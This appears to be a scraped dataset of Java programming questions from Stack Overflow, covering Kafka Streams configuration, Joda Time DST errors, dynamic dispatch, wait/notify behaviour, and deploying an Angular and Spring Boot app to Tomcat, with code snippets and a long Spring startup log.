extract from the comments below the answer I have marked as correct . Turned out my StreamsConfig was fine , and that there ( for now ) is an issue on Message Hub 's side , but there is a workaround : It turns out Message Hub has an issue when creating repartition topics with Kafka Streams 1.1 . While we work on a fix , you 'll need to create the topic KTableTest-KSTREAM-AGGREGATE-STATE-STORE-0000000003-repartition by hand . It needs as many partitions as your input topic ( myTopic ) and set the retention time to the max . I 'll post another comment once it 's fixedMany thanks for the help !","import org.apache.kafka.streams.StreamsConfig ; Properties props = new Properties ( ) ; props.put ( StreamsConfig.APPLICATION_ID_CONFIG , appId ) ; props.put ( StreamsConfig.BOOTSTRAP_SERVERS_CONFIG , bootstrapServers ) ; props.put ( StreamsConfig.DEFAULT_KEY_SERDE_CLASS_CONFIG , Serdes.String ( ) .getClass ( ) ) ; props.put ( StreamsConfig.DEFAULT_VALUE_SERDE_CLASS_CONFIG , Serdes.String ( ) .getClass ( ) ) ; props.put ( StreamsConfig.REPLICATION_FACTOR_CONFIG , `` 3 '' ) ; props.put ( `` security.protocol '' , '' SASL_SSL '' ) ; props.put ( `` sasl.mechanism '' , '' PLAIN '' ) ; props.put ( `` ssl.protocol '' , '' TLSv1.2 '' ) ; props.put ( `` ssl.enabled.protocols '' , '' TLSv1.2 '' ) ; String saslJaasConfig = `` org.apache.kafka.common.security.plain.PlainLoginModule required username=\ '' USERNAME\ '' password=\ '' PASSWORD\ '' ; '' ; saslJaasConfig = saslJaasConfig.replace ( `` USERNAME '' , user ) .replace ( `` PASSWORD '' , password ) ; props.put ( `` sasl.jaas.config '' , saslJaasConfig ) ; StreamsBuilder builder = new StreamsBuilder ( ) ; KStream < String , String > Kstreams = builder.stream ( myTopic ) ; KTable < String , Long > eventCount = Kstreams .flatMapValues ( value - > getID ( value ) ) //function that retrieves the ID .groupBy ( ( key , value ) - > value ) .count ( ) ;",Kafka Streams KTable configuration error on Message Hub +Java,"At the risk of asking a question that has already been asked butis there a counterpart in Java for the Type type available in C # ? What I want to do is filling an array with elements which reflect several primitive types such as int , byte etc.In C # it would be the following code :","Type [ ] types = new Type [ ] { typeof ( int ) , typeof ( byte ) , typeof ( short ) } ;",type of types in Java +Java,Can a superclass variable access an overridden method of a subclass.For ex : I learned earlier that a superclass variable that is referencing a subclass object can access only those parts of an object that are defined by the superclass . Then how can the second r.callMe ( ) call B 's version of callMe ( ) ? It should only call A 's version of callMe ( ) again .,class A { void callMe ( ) { System.out.println ( `` Inside A '' ) ; } } class B extends A { void callMe ( ) { System.out.println ( `` Inside B '' ) ; } } class Dispatch { public static void main ( String args [ ] ) { A a = new A ( ) ; B b = new B ( ) ; // Object of type B A r ; // Obtain a reference of type A r = a ; // Refers to A object r.callMe ( ) ; // Calls A 's version of callMe ( ) r = b ; // Refers to B object r.callMe ( ) ; // calls B 's version of callMe ( ) and my question is on this } },How does dynamic method dispatching work in Java +Java,"Today our Brazilian users are generating plenty of crash reports for us . I 've tracked it down to this code , which throws a Joda exception : The exception : I 'm using Java 1.8.0_60 on OS X 10.11 with Joda Time 2.8.2.What work-around will allow me to correctly get a DateTime instance representing a time on the current day that is offset milliseconds after the start of the day ?","import org.joda.time.DateTime ; import org.joda.time.DateTimeUtils ; import org.joda.time.DateTimeZone ; import org.joda.time.LocalTime ; public class ScratchSpace { public static void main ( String [ ] args ) { // force Joda to act like we are in Sao Paolo on 2015-10-18 DateTimeUtils.setCurrentMillisFixed ( 1445185758078L ) ; // 2015-10-18T18:29 DateTimeZone.setDefault ( DateTimeZone.forID ( `` America/Sao_Paulo '' ) ) ; // most of users have offset == 0 , but it could be any number of millis from 0 to 86_400_000-1 ( millis in day ) int offset = 0 ; // local time at start of day + offset millis final LocalTime localTime = LocalTime.fromMillisOfDay ( offset ) ; // convert to a time on the current day DateTime dateTime = localTime.toDateTimeToday ( ) ; // throws org.joda.time.IllegalFieldValueException exception System.out.println ( `` dateTime = `` + dateTime ) ; } } Exception in thread `` main '' org.joda.time.IllegalFieldValueException : Value 0 for hourOfDay is not supported : Illegal instant due to time zone offset transition ( daylight savings time 'gap ' ) : 2015-10-18T00:29:18.078 ( America/Sao_Paulo ) at org.joda.time.chrono.ZonedChronology $ ZonedDateTimeField.set ( ZonedChronology.java:486 ) at org.joda.time.chrono.BaseChronology.set ( BaseChronology.java:240 ) at org.joda.time.LocalTime.toDateTimeToday ( LocalTime.java:1287 ) at org.joda.time.LocalTime.toDateTimeToday ( LocalTime.java:1270 )",How can I prevent Joda Time throwing an exception during Brazilian DST transition period +Java,In RXJava [ 1 ] there is an enum [ 2 ] defined asWhat 's the purpose this technique using a enum with no instances ? Why not use a standard class ? [ 1 ] https : //github.com/ReactiveX/RxJava [ 2 ] https : //github.com/ReactiveX/RxJavaFX/blob/0.x/src/main/java/rx/observables/JavaFxObservable.java,public enum JavaFxObservable { ; // no instances public static void staticMethod ( ) { // ... } },Java enum with no instances +Java,"I have a class that does some time-consuming calculations . I 'm trying to performance test it : I 'm using random values so the compiler wo n't optimize the calculations for being a million times the same . But what about the results ? Does the compiler see it is n't used any more and leaves out the call ( but then , can it see any side effects the method call could have ? ) I do n't want to put the results somewhere ( into a file , array or to System.out ) , because I think this will slow down the test with work that I do n't want to measure . Or produce an OutOfMemoryError.Thanks in advance.EDIT : changed the title a bit",int numValues = 1000000 ; Random random = new Random ( ) ; startMeasuringTime ( ) ; double result ; for ( int i = 0 ; i < numValues ; i++ ) { result = calculatorInstance.doSomeTimeConsumingCalculationsOn ( random.nextDouble ( ) ) ; } stopMeasuringTime ( ) ;,How can I be sure that the compiler does n't optimize away my performance test ? +Java,"I have stumbled upon an interesting detail in java.util.Spliterator ( Java 8 ) .Method trySplit ( ) is supposed to return an instance of Spliterator or null , if it ca n't be split . The java doc says the following : It appears to me as a perfect place to use java.util.Optional . As per javadoc : Are there any reasons , why Optional was not used ? Googling did not help much , except this question in lambda-dev mailing list , which was not answered .","* @ return a { @ code Spliterator } covering some portion of the * elements , or { @ code null } if this spliterator can not be split . * A container object which may or may not contain a non-null value .",Spliterator trySplit return type +Java,"The next method of java.util.Random , when I view source in Eclipse , is essentially : How can I determine if different JDKs or JVMs will implement next in a different way or with different constants ? I have already come across different no-argument constructors in Weird behaviour when seeding Java Random . I want to know if a similar thing might occur with the next method . Where can I find the source to different implementations ?",seed = ( seed * 0x5DEECE66DL + 0xBL ) & ( ( 1L < < 48 ) - 1 ) ; return ( int ) ( seed > > > ( 48 - bits ) ) ;,Does java.util.Random implementation differ between JREs or platforms ? +Java,"In the following code I have two identical conditional assignment operations , one returns an object of type Double , and the second returns the String `` Integer '' .Why are the exact same expressions returning two different things ?",double d = 24.0 ; Number o = ( d % 1 == 0 ) ? new Double ( d ) .intValue ( ) : new Double ( d ) .doubleValue ( ) ; String result = ( d % 1 == 0 ) ? `` Integer '' : `` Double '' ; System.out.println ( o.getClass ( ) ) ; // prints `` class java.lang.Double '' System.out.println ( result ) ; // Integer,Wrong type in Java conditional assignment +Java,"I 've found strange behavior of java concurrency . See on the next code below : In my point of view this code should be hang up and wait forever , but code is finished without any problem with next out in console : I 've tried to find some information about notifying locks if thread is died , but was lack in it.Also I 've not find any information in java specification.But if I 've tried to lock on some other object ( not on the thread object ) it was work fine as I expected .","public class Test { static CountDownLatch latch = new CountDownLatch ( 1 ) ; public static void main ( String [ ] args ) throws UnsupportedEncodingException , InterruptedException { final Thread t = new MyThread ( ) ; t.start ( ) ; synchronized ( t ) { latch.countDown ( ) ; System.out.println ( `` got to sleep '' ) ; t.wait ( ) ; System.out.println ( `` wake up '' ) ; } } static class MyThread extends Thread { @ Override public void run ( ) { try { latch.await ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } synchronized ( this ) { System.out.println ( `` inside run '' ) ; // notifyAll ( ) ; } } } } got to sleepinside runwake up",Strange java behavior of wait/notify +Java,"I 'm designing an application that will allow me to draw some functions on a graphic . Each function will be drawn from a set of points that I will pass to this graphic class.There are different kinds of points , all inheriting from a MyPoint class . For some kind of points it will be just printing them on the screen as they are , others can be ignored , others added , so there is some kind of logic associated to them that can get complex.How to actually draw the graphic is not the main issue here . What bothers me is how to make the code logic such that this GraphicMaker class does n't become the so called God-Object.It would be easy to make something like this : How would you do something like this ? I have a feeling the correct way would be to put the drawing logic on each Point object ( so each child class from Point would know how to draw itself ) but two problems arise : There will be kinds of points that need to know all the other points that exist in the GraphicObject class to know how to draw themselves.I can make a lot of the methods/properties from the Graphic class public , so that all the points have a reference to the Graphic class and can make all their logic as they want , but is n't that a big price to pay for not wanting to have a God class ?",class GraphicMaker { ArrayList < Point > points = new ArrayList < Point > ( ) ; public void AddPoint ( Point point ) { points.add ( point ) ; } public void DoDrawing ( ) { foreach ( Point point in points ) { if ( point is PointA ) { //some logic here else if ( point is PointXYZ ) { // ... etc } } } },Designing a class in such a way that it does n't become a `` God object '' +Java,"Any recommendations on how to use anonymous classes while staying consistent with Allman indent style ? I do n't really like anything I 've come up with , e.g .",// Pass as parameter.foo ( new Clazz ( ) { // Do stuff . } ) ; // Assign to variable.Clazz bar = new Clazz ( ) { // Do stuff . } ;,Allman-style anonymous classes +Java,I created angular and spring boot application and I want to deploy it on tomcat server . For that I copied angular project in spring boot project and also provide pom.xml to create war file . After that I deployed war file on tomcat and it is started.Please Tell me what isbase href in index.html of angularwhat context path should I provied ? Should I need to provied server.port in application.properties ? UpdateI am getting 404 errorConsole ErrorsProject Structurepom.xmlindex.htmlapplication.propertiesSecurityConfig.javaJWTAuthorizationFilter.javaMy appication works fine but whenever I tried to deploy it as war on tomcat I can see frontend but cant connect to backend . I am new to war deployment any help is appreciated .,"org.springframework.security.web.session.SessionManagementFilter @ af8f6da , org.springframework.security.web.access.ExceptionTranslationFilter @ 7551f180 , org.springframework.security.web.access.intercept.FilterSecurityInterceptor @ 67dc6d01 ] 2020-10-14 19:17:57.066 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerAdapter : Looking for @ ControllerAdvice : org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext @ 3472387b : startup date [ Wed Oct 14 19:17:26 IST 2020 ] ; root of context hierarchy 2020-10-14 19:17:57.071 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerAdapter : Detected @ ModelAttribute methods in globalController 2020-10-14 19:17:57.100 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / || ] , methods= [ OPTIONS ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.HttpEntity < ? > org.springframework.data.rest.webmvc.RepositoryController.optionsForRepositories ( ) 2020-10-14 19:17:57.101 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / || ] , methods= [ HEAD ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryController.headForRepositories ( ) 2020-10-14 19:17:57.102 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / || ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.HttpEntity < org.springframework.data.rest.webmvc.RepositoryLinksResource > org.springframework.data.rest.webmvc.RepositoryController.listRepositories ( ) 2020-10-14 19:17:57.104 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.hateoas.Resources < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.getCollectionResource ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.support.DefaultedPageable , org.springframework.data.domain.Sort , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws org.springframework.data.rest.webmvc.ResourceNotFoundException , org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.105 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } ] , methods= [ HEAD ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.headCollectionResource ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.support.DefaultedPageable ) throws org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.106 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ DELETE ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.deleteItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , org.springframework.data.rest.webmvc.support.ETag ) throws org.springframework.data.rest.webmvc.ResourceNotFoundException , org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.107 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ PATCH ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryEntityController.patchItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.PersistentEntityResource , java.io.Serializable , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler , org.springframework.data.rest.webmvc.support.ETag , java.lang.String ) throws org.springframework.web.HttpRequestMethodNotSupportedException , org.springframework.data.rest.webmvc.ResourceNotFoundException 2020-10-14 19:17:57.108 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ OPTIONS ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.optionsForItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.109 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } ] , methods= [ OPTIONS ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.optionsForCollectionResource ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.120 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } ] , methods= [ POST ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryEntityController.postCollectionResource ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.PersistentEntityResource , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler , java.lang.String ) throws org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.124 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ HEAD ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.headForItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.125 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } ] , methods= [ GET ] , produces= [ application/x-spring-data-compact+json || text/uri-list ] } '' onto public org.springframework.hateoas.Resources < ? > org.springframework.data.rest.webmvc.RepositoryEntityController.getCollectionResourceCompact ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.support.DefaultedPageable , org.springframework.data.domain.Sort , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws org.springframework.data.rest.webmvc.ResourceNotFoundException , org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.127 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ PUT ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? extends org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryEntityController.putItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.data.rest.webmvc.PersistentEntityResource , java.io.Serializable , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler , org.springframework.data.rest.webmvc.support.ETag , java.lang.String ) throws org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.130 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.Resource < ? > > org.springframework.data.rest.webmvc.RepositoryEntityController.getItemResource ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler , org.springframework.http.HttpHeaders ) throws org.springframework.web.HttpRequestMethodNotSupportedException 2020-10-14 19:17:57.137 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.followPropertyReference ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , java.lang.String , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws java.lang.Exception 2020-10-14 19:17:57.138 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } / { propertyId } ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.followPropertyReference ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , java.lang.String , java.lang.String , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws java.lang.Exception 2020-10-14 19:17:57.139 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } ] , methods= [ GET ] , produces= [ application/x-spring-data-compact+json || text/uri-list ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.followPropertyReferenceCompact ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , java.lang.String , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) throws java.lang.Exception 2020-10-14 19:17:57.140 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } ] , methods= [ PATCH || PUT || POST ] , consumes= [ application/json || application/x-spring-data-compact+json || text/uri-list ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? extends org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.createPropertyReference ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.http.HttpMethod , org.springframework.hateoas.Resources < java.lang.Object > , java.io.Serializable , java.lang.String ) throws java.lang.Exception 2020-10-14 19:17:57.141 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } / { propertyId } ] , methods= [ DELETE ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.deletePropertyReferenceId ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , java.lang.String , java.lang.String ) throws java.lang.Exception 2020-10-14 19:17:57.142 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } / { id } / { property } ] , methods= [ DELETE ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? extends org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController.deletePropertyReference ( org.springframework.data.rest.webmvc.RootResourceInformation , java.io.Serializable , java.lang.String ) throws java.lang.Exception 2020-10-14 19:17:57.144 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search ] , methods= [ OPTIONS ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.HttpEntity < ? > org.springframework.data.rest.webmvc.RepositorySearchController.optionsForSearches ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.148 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search/ { search } ] , methods= [ GET ] , produces= [ application/x-spring-data-compact+json ] } '' onto public org.springframework.hateoas.ResourceSupport org.springframework.data.rest.webmvc.RepositorySearchController.executeSearchCompact ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.http.HttpHeaders , org.springframework.util.MultiValueMap < java.lang.String , java.lang.Object > , java.lang.String , java.lang.String , org.springframework.data.rest.webmvc.support.DefaultedPageable , org.springframework.data.domain.Sort , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler ) 2020-10-14 19:17:57.149 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search ] , methods= [ HEAD ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.HttpEntity < ? > org.springframework.data.rest.webmvc.RepositorySearchController.headForSearches ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.151 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search/ { search } ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < ? > org.springframework.data.rest.webmvc.RepositorySearchController.executeSearch ( org.springframework.data.rest.webmvc.RootResourceInformation , org.springframework.util.MultiValueMap < java.lang.String , java.lang.Object > , java.lang.String , org.springframework.data.rest.webmvc.support.DefaultedPageable , org.springframework.data.domain.Sort , org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler , org.springframework.http.HttpHeaders ) 2020-10-14 19:17:57.152 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search/ { search } ] , methods= [ OPTIONS ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < java.lang.Object > org.springframework.data.rest.webmvc.RepositorySearchController.optionsForSearch ( org.springframework.data.rest.webmvc.RootResourceInformation , java.lang.String ) 2020-10-14 19:17:57.152 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search ] , methods= [ GET ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.data.rest.webmvc.RepositorySearchesResource org.springframework.data.rest.webmvc.RepositorySearchController.listSearches ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.153 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.RepositoryRestHandlerMapping : Mapped `` { [ / { repository } /search/ { search } ] , methods= [ HEAD ] , produces= [ application/hal+json || application/json ] } '' onto public org.springframework.http.ResponseEntity < java.lang.Object > org.springframework.data.rest.webmvc.RepositorySearchController.headForSearch ( org.springframework.data.rest.webmvc.RootResourceInformation , java.lang.String ) 2020-10-14 19:17:57.161 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.BasePathAwareHandlerMapping : Mapped `` { [ /profile ] , methods= [ GET ] } '' onto org.springframework.http.HttpEntity < org.springframework.hateoas.ResourceSupport > org.springframework.data.rest.webmvc.ProfileController.listAllFormsOfMetadata ( ) 2020-10-14 19:17:57.162 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.BasePathAwareHandlerMapping : Mapped `` { [ /profile ] , methods= [ OPTIONS ] } '' onto public org.springframework.http.HttpEntity < ? > org.springframework.data.rest.webmvc.ProfileController.profileOptions ( ) 2020-10-14 19:17:57.163 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.BasePathAwareHandlerMapping : Mapped `` { [ /profile/ { repository } ] , methods= [ OPTIONS ] , produces= [ application/alps+json ] } '' onto org.springframework.http.HttpEntity < ? > org.springframework.data.rest.webmvc.alps.AlpsController.alpsOptions ( ) 2020-10-14 19:17:57.164 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.BasePathAwareHandlerMapping : Mapped `` { [ /profile/ { repository } ] , methods= [ GET ] , produces= [ application/alps+json || */* ] } '' onto org.springframework.http.HttpEntity < org.springframework.data.rest.webmvc.RootResourceInformation > org.springframework.data.rest.webmvc.alps.AlpsController.descriptor ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.165 INFO 5176 -- - [ ost-startStop-1 ] o.s.d.r.w.BasePathAwareHandlerMapping : Mapped `` { [ /profile/ { repository } ] , methods= [ GET ] , produces= [ application/schema+json ] } '' onto public org.springframework.http.HttpEntity < org.springframework.data.rest.webmvc.json.JsonSchema > org.springframework.data.rest.webmvc.RepositorySchemaController.schema ( org.springframework.data.rest.webmvc.RootResourceInformation ) 2020-10-14 19:17:57.424 INFO 5176 -- - [ ost-startStop-1 ] o.s.b.a.e.web.EndpointLinksResolver : Exposing 2 endpoint ( s ) beneath base path '/actuator ' 2020-10-14 19:17:57.503 INFO 5176 -- - [ ost-startStop-1 ] s.b.a.e.w.s.WebMvcEndpointHandlerMapping : Mapped `` { [ /actuator/health ] , methods= [ GET ] , produces= [ application/vnd.spring-boot.actuator.v2+json || application/json ] } '' onto public java.lang.Object org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping $ OperationHandler.handle ( javax.servlet.http.HttpServletRequest , java.util.Map < java.lang.String , java.lang.String > ) 2020-10-14 19:17:57.505 INFO 5176 -- - [ ost-startStop-1 ] s.b.a.e.w.s.WebMvcEndpointHandlerMapping : Mapped `` { [ /actuator/info ] , methods= [ GET ] , produces= [ application/vnd.spring-boot.actuator.v2+json || application/json ] } '' onto public java.lang.Object org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping $ OperationHandler.handle ( javax.servlet.http.HttpServletRequest , java.util.Map < java.lang.String , java.lang.String > ) 2020-10-14 19:17:57.508 INFO 5176 -- - [ ost-startStop-1 ] s.b.a.e.w.s.WebMvcEndpointHandlerMapping : Mapped `` { [ /actuator ] , methods= [ GET ] , produces= [ application/vnd.spring-boot.actuator.v2+json || application/json ] } '' onto protected java.util.Map < java.lang.String , java.util.Map < java.lang.String , org.springframework.boot.actuate.endpoint.web.Link > > org.springframework.boot.actuate.endpoint.web.servlet.WebMvcEndpointHandlerMapping.links ( javax.servlet.http.HttpServletRequest , javax.servlet.http.HttpServletResponse ) 2020-10-14 19:17:58.181 INFO 5176 -- - [ ost-startStop-1 ] o.s.j.e.a.AnnotationMBeanExporter : Registering beans for JMX exposure on startup 2020-10-14 19:17:58.376 INFO 5176 -- - [ ost-startStop-1 ] com.springboot.wabit.WabitApplication : Started WabitApplication in 33.544 seconds ( JVM running for 58.21 ) 2020-10-14 19:17:58.556 INFO 5176 -- - [ main ] org.apache.catalina.startup.Catalina : Server startup in 56058 ms 2020-10-14 19:18:00.111 INFO 5176 -- - [ nio-8086-exec-2 ] o.a.c.c.C. [ . [ localhost ] . [ /wabSpring ] : Initializing Spring FrameworkServlet 'dispatcherServlet ' 2020-10-14 19:18:00.111 INFO 5176 -- - [ nio-8086-exec-2 ] o.s.web.servlet.DispatcherServlet : FrameworkServlet 'dispatcherServlet ' : initialization started 2020-10-14 19:18:00.214 INFO 5176 -- - [ nio-8086-exec-2 ] o.s.web.servlet.DispatcherServlet : FrameworkServlet 'dispatcherServlet ' : initialization completed in 103 ms request ===null < build > < finalName > wabITSpring < /finalName > < plugins > < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < /plugin > < /plugins > < pluginManagement > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-war-plugin < /artifactId > < version > $ { maven-war-plugin.version } < /version > < executions > < execution > < goals > < goal > war < /goal > < /goals > < phase > package < /phase > < /execution > < /executions > < configuration > < warSourceIncludes > WEB-INF/** , META-INF/** < /warSourceIncludes > < failOnMissingWebXml > false < /failOnMissingWebXml > < warSourceDirectory > target/classes/static/ < /warSourceDirectory > < webResources > < resource > < directory > src/main/webapp < /directory > < includes > < include > WEB-INF/** < /include > < /includes > < /resource > < /webResources > < /configuration > < /plugin > < /plugins > < /pluginManagement > < /build > < profiles > < profile > < id > war < /id > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-war-plugin < /artifactId > < /plugin > < /plugins > < /build > < /profile > < 